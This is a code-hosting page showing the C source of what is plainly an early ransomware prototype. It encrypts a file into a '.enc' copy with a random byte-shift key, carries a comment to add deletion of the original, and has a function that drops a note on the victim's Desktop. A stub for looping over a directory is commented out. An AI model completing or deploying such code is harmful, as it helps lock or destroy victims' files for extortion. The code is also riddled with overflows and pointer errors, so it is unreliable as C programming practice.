C

No description

fork
loading
Files
  • main.c
  • decrypt.c
  • test.txt
main.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
//#include <sys/ipc.h>
//#include <sys/shm.h>

//Version number (should match comment at top)
int versionNum = 001;

//Intended platform lin or win
char platform[] = "lin";

//Encrypted file extension
char ext[] = ".enc";

//Note to be left on Desktop
char note[] = "First Line\nSecond Line";

/*void instanceCheck(){
	// ftok to generate unique key
	key_t key = ftok("shmfile",65);

	// shmget returns an identifier in shmid
	int shmid = shmget(key,1024,0666|IPC_CREAT);

	// shmat to attach to shared memory
	char *str = (char*) shmat(shmid,(void*)0,0);

	gets(str);
	printf("Data written in memory: %s\n",str);

	//detach from shared memory
	shmdt(str);
}*/

int generateKey() {
	//Generates key based on random int
	int key = rand() % 8999999999 + 1000000000;
	if (key < 0)
		key = -key;
	return key;
}

int generateSerial(int key) {
	//Generates serial number from key
	int serial = (key + 9769) * .5;
	return serial;
}

void encrypt(char filePath[], int key) {
	FILE * fileR;
	FILE * fileW;
	char dest[50], src[50];
	int byte;
	//Opens two files, one for reading, the other for writing.
	fileR = fopen(filePath, "r");
	//Combines filePath with ext for unique filename
	strcpy(dest, filePath);
	strcpy(src, ext);
	//Sets fileW to a new writable file that is named filePath + ext
	fileW = fopen(strcat(dest, src), "w");
	//Goes through every byte of fileR and writes encrypted bytes to fileW
	while ((byte = fgetc(fileR)) != EOF) {
		fputc(byte + key, fileW);
	}
	//!!ADD LINE TO DELETE fileR!!
	fclose(fileR);
	fclose(fileW);
}

/*int encryptFiles(startDir) {
 for ( i = 0; i == 100; i++ ) {
 encrypt(currentFile)
 }
 }*/

void addNote(char os[]) {
	FILE * notePath;
	char * fullPath[50];
	char dest[50], src[50];
	if (strcmp(os, "win") == 0) {
		*fullPath = getenv("DESKTOP");
	} else if (strcmp(os, "lin") == 0) {
		//Assigns Linux username to userName
		char * userName[50];
		*userName = getlogin();
		char startFront[7], endFront[50];
		strcpy(startFront, "/home/");
		strcpy(endFront, *userName);
		char * frontPath[50];
		*frontPath = strcat(startFront, endFront);
		char * endPath[50];
		*endPath = "/Desktop/";
		*fullPath = strcat(*frontPath, *endPath);
	}
	//Combines path with "/note.txt" to correctly store on user's desktop
	strcpy(dest, *fullPath);
	strcpy(src, "note.txt");
	//Sets note to a new writable file at desktop path + "/note.txt"
	notePath = fopen(strcat(dest, src), "w");
	fputs(note, notePath);
	fclose(notePath);
}

int main(void) {
	//Generates random seed based on time
	srand(time(NULL));
	int key = generateKey();
	printf("%d \n", key);
	//Passes key into generateSerial
	int serial = generateSerial(key);
	printf("%d", serial);
	encrypt("test.txt",key);
	//addNote(platform);
	return 0;
}